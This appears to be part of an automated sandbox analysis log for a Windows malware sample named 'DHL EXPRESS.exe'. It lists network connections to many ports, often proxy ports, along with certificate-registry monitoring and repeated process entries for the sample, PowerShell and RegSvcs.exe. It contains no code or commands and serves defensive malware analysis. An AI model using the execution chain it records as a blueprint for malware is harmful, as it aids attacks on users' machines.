Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 51429 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51431 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51480 -> 12217
Source: unknown	Network traffic detected: HTTP traffic on port 51437 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50973 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 51516 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51440 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51523 -> 27207
Source: unknown	Network traffic detected: HTTP traffic on port 51368 -> 5034
Source: unknown	Network traffic detected: HTTP traffic on port 51408 -> 59058
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 51459 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51464 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51449 -> 10010
Source: unknown	Network traffic detected: HTTP traffic on port 51535 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 51443 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51438 -> 31724
Source: unknown	Network traffic detected: HTTP traffic on port 51465 -> 7891
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51546 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 51457 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 10000
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 51373
Source: unknown	Network traffic detected: HTTP traffic on port 51562 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51490 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51526 -> 39737
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51548 -> 31745
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 51439 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51598 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51507 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51016 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51620 -> 41697
Source: unknown	Network traffic detected: HTTP traffic on port 51556 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 6008
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 51499 -> 37259
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 9990
Source: unknown	Network traffic detected: HTTP traffic on port 51570 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51559 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51062 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51070 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51530 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 51476
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 51327
Source: unknown	Network traffic detected: HTTP traffic on port 51605 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51637 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 51073 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51581 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 64767
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 14921
Source: unknown	Network traffic detected: HTTP traffic on port 51567 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51603 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51652 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51654 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51711 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 50674 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51609 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51715 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 10010 -> 51449
Source: unknown	Network traffic detected: HTTP traffic on port 51613 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 51655 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8083 -> 50779
Source: unknown	Network traffic detected: HTTP traffic on port 51589 -> 31247
Source: unknown	Network traffic detected: HTTP traffic on port 51635 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51598
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 50640
Source: unknown	Network traffic detected: HTTP traffic on port 51089 -> 4444
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 51587 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 999 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 51670 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51643 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 5005 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50271 -> 10722
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 10000 -> 51500
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50862
Source: unknown	Network traffic detected: HTTP traffic on port 51269 -> 59098
Source: unknown	Network traffic detected: HTTP traffic on port 51694 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 51722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51699 -> 5214
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51556

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL EXPRESS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
